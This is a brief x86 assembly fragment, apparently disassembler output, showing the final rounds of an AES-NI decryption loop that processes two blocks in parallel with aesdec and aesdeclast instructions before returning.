movups xmm1, xmmword [edx + ecx]
add ecx, 0x20
aesdec xmm2, xmm0
aesdec xmm3, xmm0
movups xmm0, xmmword [edx + ecx - 0x10]
jne 0x43e69e
aesdec xmm2, xmm1
aesdec xmm3, xmm1
aesdeclast xmm2, xmm0
aesdeclast xmm3, xmm0
ret